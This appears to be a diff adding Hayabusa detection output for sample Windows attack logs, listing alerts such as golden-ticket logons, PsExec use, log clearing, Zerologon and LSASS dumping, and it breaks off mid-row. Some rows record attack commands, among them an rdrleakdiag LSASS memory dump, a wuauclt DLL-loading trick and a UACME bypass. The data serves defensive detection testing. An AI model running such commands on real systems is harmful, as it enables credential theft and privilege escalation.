+2020-08-21 00:42:54.193 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50382 : LogonID: 0x119b9ab2,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:55.188 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50317 : LogonID: 0x119b9b27,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:43:04.967 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50329 : LogonID: 0x119b9e04,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:43:36.582 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50380 : LogonID: 0x119ba401,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:43:36.582 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50381 : LogonID: 0x119ba414,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:43:36.582 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50382 : LogonID: 0x119ba427,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-27 20:40:56.397 +09:00,04246w-win10.threebeesco.com,11,low,PsExec Tool Execution,,rules/sigma/file_event/file_event_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote_file_copy_system_proc_file_write_sysmon_11.evtx +2020-08-27 20:40:56.625 +09:00,04246w-win10.threebeesco.com,1,informational,Process Creation,Command: C:\WINDOWS\PSEXESVC.exe : Path: C:\Windows\PSEXESVC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\WINDOWS\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote_file_copy_system_proc_file_write_sysmon_11.evtx +2020-08-27 20:40:56.625 +09:00,04246w-win10.threebeesco.com,1,low,PsExec Service Start,,rules/sigma/process_creation/win_psexesvc_start.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote_file_copy_system_proc_file_write_sysmon_11.evtx +2020-08-27 20:40:56.625 +09:00,04246w-win10.threebeesco.com,1,low,PsExec Tool Execution,,rules/sigma/process_creation/process_creation_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote_file_copy_system_proc_file_write_sysmon_11.evtx +2020-09-02 20:47:39.499 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: a-jbrown,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote task update 4624 4702 same logonid.evtx +2020-09-02 20:47:48.570 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: a-jbrown : Workstation: 04246W-WIN10 : IP Address: 172.16.66.142 : Port: 60726 : LogonID: 0x21a8c68,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote task update 4624 4702 same logonid.evtx +2020-09-02 20:47:48.823 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: a-jbrown : Workstation: - : IP Address: 172.16.66.142 : Port: 60728 : LogonID: 0x21a8c80,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote task update 4624 4702 same logonid.evtx +2020-09-02 20:47:48.842 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: a-jbrown : Workstation: - : IP Address: 172.16.66.142 : Port: 60726 : LogonID: 0x21a8c9a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/remote task update 4624 4702 same logonid.evtx +2020-09-05 22:28:40.585 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 3004 -s 632 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_EventLog_Service_Crashed.evtx +2020-09-05 22:33:34.590 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 3668 -s 4420 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_EventLog_Service_Crashed.evtx +2020-09-05 22:34:11.983 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x4 /state0:0xa3cea855 /state1:0x41c64e6d : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_EventLog_Service_Crashed.evtx +2020-09-05 22:37:07.245 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x2 /state0:0xa3bd2855 /state1:0x41c64e6d : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_EventLog_Service_Crashed.evtx +2020-09-09 22:18:23.627 +09:00,MSEDGEWIN10,4625,low,Logon Failure - Wrong Password,User: IEUser : Type: 2 : Workstation: MSEDGEWIN10 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_4624_4625_LogonType2_LogonProc_chrome.evtx +2020-09-09 22:18:27.714 +09:00,MSEDGEWIN10,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: MSEDGEWIN10 : IP Address: - : Port: - : LogonID: 0x1cd8f6 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_4624_4625_LogonType2_LogonProc_chrome.evtx +2020-09-09 22:18:27.714 +09:00,MSEDGEWIN10,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: MSEDGEWIN10 : IP Address: - : Port: - : LogonID: 0x1cd964 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_4624_4625_LogonType2_LogonProc_chrome.evtx +2020-09-11 02:48:47.077 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: c:\windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_smss_child_proc_bootexecute_setupexecute.evtx +2020-09-11 02:48:47.077 +09:00,MSEDGEWIN10,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_smss_child_proc_bootexecute_setupexecute.evtx +2020-09-14 23:44:04.878 +09:00,Sec504Student,1102,high,Security log was cleared,User: Sec504,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/eventlog-dac.evtx +2020-09-16 03:04:36.333 +09:00,MSEDGEWIN10,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Runas_4624_4648_Webshell_CreateProcessAsUserA.evtx +2020-09-16 03:04:39.987 +09:00,MSEDGEWIN10,4648,informational,Explicit Logon,Source User: svc01 : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\inetsrv\w3wp.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Runas_4624_4648_Webshell_CreateProcessAsUserA.evtx +2020-09-16 04:28:17.594 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: a-jbrown,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/Zerologon_VoidSec_CVE-2020-1472_4626_LT3_Anonym_follwedby_4742_DC_Anony_DC.evtx +2020-09-16 04:28:31.453 +09:00,01566s-win16-ir.threebeesco.com,104,high,System log file was cleared,User: a-jbrown,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/Zerologon_CVE-2020-1472_DFIR_System_NetLogon_Error_EventID_5805.evtx +2020-09-16 04:29:51.507 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: 02694W-WIN10 : IP Address: 172.16.66.37 : Port: 49707 : LogonID: 0x31ff6e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/Zerologon_VoidSec_CVE-2020-1472_4626_LT3_Anonym_follwedby_4742_DC_Anony_DC.evtx +2020-09-16 04:29:51.517 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: 02694W-WIN10 : IP Address: 172.16.66.37 : Port: 49707 : LogonID: 0x31ff89,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/Zerologon_VoidSec_CVE-2020-1472_4626_LT3_Anonym_follwedby_4742_DC_Anony_DC.evtx +2020-09-16 18:31:19.133 +09:00,01566s-win16-ir.threebeesco.com,4720,high,Hidden user account created! (Possible Backdoor),User: $ : SID:S-1-5-21-308926384-506822093-3341789130-107103,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_ComputerAccountCreated.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_Fake_ComputerAccount_4720.evtx +2020-09-16 18:32:13.647 +09:00,01566s-win16-ir.threebeesco.com,4720,high,Hidden user account created! (Possible Backdoor),User: $ : SID:S-1-5-21-308926384-506822093-3341789130-107104,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_ComputerAccountCreated.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_Fake_ComputerAccount_4720.evtx +2020-09-17 19:57:37.013 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: a-jbrown,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx +2020-09-17 19:57:44.254 +09:00,01566s-win16-ir.threebeesco.com,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation 02694W-WIN10 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx +2020-09-17 19:57:44.270 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: 02694W-WIN10 : IP Address: 172.16.66.37 : Port: 49959 : LogonID: 0x853237,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx +2020-09-24 01:49:41.578 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:49:44.353 +09:00,01566s-win16-ir.threebeesco.com,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{DC4537C3-CA73-4AC7-9E1D-B2CE27C3A7A6} : Path: C:\Windows\System32\dllhost.exe : User: 3B\Administrator : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_remote_eventlog_svc_crash_byt3bl33d3r_sysmon_17_1_3.evtx +2020-09-24 01:49:44.380 +09:00,01566s-win16-ir.threebeesco.com,1,informational,Process Creation,Command: C:\Windows\system32\DllHost.exe /Processid:{49F6E667-6658-4BD1-9DE9-6AF87F9FAF85} : Path: C:\Windows\System32\dllhost.exe : User: 3B\Administrator : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_remote_eventlog_svc_crash_byt3bl33d3r_sysmon_17_1_3.evtx +2020-09-24 01:50:16.697 +09:00,01566s-win16-ir.threebeesco.com,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:16.697 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: - : IP Address: 172.16.66.37 : Port: 50106 : LogonID: 0x1136e95,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:16.702 +09:00,01566s-win16-ir.threebeesco.com,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:16.892 +09:00,01566s-win16-ir.threebeesco.com,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 5424 -s 4616 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_remote_eventlog_svc_crash_byt3bl33d3r_sysmon_17_1_3.evtx +2020-09-24 01:50:17.194 +09:00,01566s-win16-ir.threebeesco.com,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:17.194 +09:00,01566s-win16-ir.threebeesco.com,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: - : IP Address: 172.16.66.37 : Port: 50107 : LogonID: 0x1137987,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:17.200 +09:00,01566s-win16-ir.threebeesco.com,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_suspicious_remote_eventlog_svc_access_5145.evtx +2020-09-24 01:50:19.821 +09:00,01566s-win16-ir.threebeesco.com,1,informational,Process Creation,Command: C:\Windows\system32\wermgr.exe -upload : Path: C:\Windows\System32\wermgr.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_remote_eventlog_svc_crash_byt3bl33d3r_sysmon_17_1_3.evtx +2020-09-28 21:47:36.197 +09:00,DESKTOP-PIU87N6,1,informational,Process Creation,"Command: rdrleakdiag.exe /p 668 /o C:\Users\wanwan\Desktop /fullmemdmp /snap : Path: C:\Windows\System32\rdrleakdiag.exe : User: DESKTOP-PIU87N6\wanwan : Parent Command: ""C:\WINDOWS\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_rdrleakdiag_lsass_dump.evtx +2020-09-28 21:47:36.215 +09:00,DESKTOP-PIU87N6,1,informational,Process Creation,Command: C:\WINDOWS\system32\lsass.exe : Path: C:\Windows\System32\lsass.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\WINDOWS\system32\lsass.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_rdrleakdiag_lsass_dump.evtx +2020-09-28 21:47:36.215 +09:00,DESKTOP-PIU87N6,1,critical,Suspicious LSASS Process Clone,,rules/sigma/process_creation/win_susp_lsass_clone.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_rdrleakdiag_lsass_dump.evtx +2020-10-02 03:35:02.415 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: POC.exe : Path: C:\Users\Public\POC\bin\Debug\POC.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/eop_appcontainer_il_broker_filewrite.evtx +2020-10-02 03:35:02.415 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/eop_appcontainer_il_broker_filewrite.evtx +2020-10-02 03:35:02.606 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: Program : Path: C:\Users\Public\POC\bin\Debug\POC.exe : User: MSEDGEWIN10\IEUser : Parent Command: POC.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/eop_appcontainer_il_broker_filewrite.evtx +2020-10-02 03:35:02.606 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/eop_appcontainer_il_broker_filewrite.evtx +2020-10-06 05:43:58.450 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: C:\windows\system32\taskmgr.exe : Path: C:\Windows\System32\Taskmgr.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: Akagi_64.exe 59 cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.450 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: C:\windows\system32\taskmgr.exe : Path: C:\Windows\System32\Taskmgr.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: Akagi_64.exe 59 cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.451 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\windows\system32\taskmgr.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.451 +09:00,LAPTOP-JU4M3I0E,1,low,Taskmgr as Parent,,rules/sigma/process_creation/win_susp_taskmgr_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.451 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\windows\system32\taskmgr.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.451 +09:00,LAPTOP-JU4M3I0E,1,low,Taskmgr as Parent,,rules/sigma/process_creation/win_susp_taskmgr_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/UACME_59_Sysmon.evtx +2020-10-06 07:28:20.530 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Windows\System32\mmc.exe"" WF.msc",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_63.evtx +2020-10-06 07:28:20.530 +09:00,LAPTOP-JU4M3I0E,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_63.evtx +2020-10-06 07:28:20.530 +09:00,LAPTOP-JU4M3I0E,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_63.evtx +2020-10-07 06:40:30.910 +09:00,02694w-win10.threebeesco.com,7,medium,Unsigned Image Loaded Into LSASS Process,,rules/sigma/image_load/sysmon_unsigned_image_loaded_into_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ImageLoad_NFSH_Sysmon_7.evtx +2020-10-07 06:40:42.943 +09:00,02694w-win10.threebeesco.com,7,medium,Unsigned Image Loaded Into LSASS Process,,rules/sigma/image_load/sysmon_unsigned_image_loaded_into_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ImageLoad_NFSH_Sysmon_7.evtx +2020-10-07 07:11:17.814 +09:00,02694w-win10.threebeesco.com,13,high,DLL Load via LSASS,,rules/sigma/registry_event/sysmon_susp_lsass_dll_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_regsvc_DirectoryServiceExtPt_Lsass_NTDS_AdamXpn.evtx +2020-10-07 07:11:17.848 +09:00,02694w-win10.threebeesco.com,12,high,DLL Load via LSASS,,rules/sigma/registry_event/sysmon_susp_lsass_dll_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_regsvc_DirectoryServiceExtPt_Lsass_NTDS_AdamXpn.evtx +2020-10-14 05:11:42.278 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: c:\windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: wuauclt.exe /UpdateDeploymentProvider C:\ProgramData\Intel\helpa.dll /RunHandlerComServer ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/evasion_execution_imageload_wuauclt_lolbas.evtx +2020-10-14 05:11:42.279 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: c:\windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: wuauclt.exe /UpdateDeploymentProvider C:\ProgramData\Intel\helpa.dll /RunHandlerComServer ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/evasion_execution_imageload_wuauclt_lolbas.evtx +2020-10-15 22:17:02.403 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\smartscreen.exe -Embedding : Path: C:\Windows\System32\smartscreen.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-15 22:17:02.736 +09:00,MSEDGEWIN10,13,high,New RUN Key Pointing to Suspicious Folder,,rules/sigma/registry_event/sysmon_susp_run_key_img_folder.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-15 22:17:02.736 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-15 22:17:02.737 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Program Files (x86)\Internet Explorer\iexplore.exe"" : Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\Public\tools\apt\tendyron.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-17 20:38:58.613 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 20:43:27.499 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\Public\tools\apt\wwlib\test.exe"" : Path: C:\Users\Public\tools\apt\wwlib\test.exe : User: MSEDGEWIN10\IEUser : Parent Command: 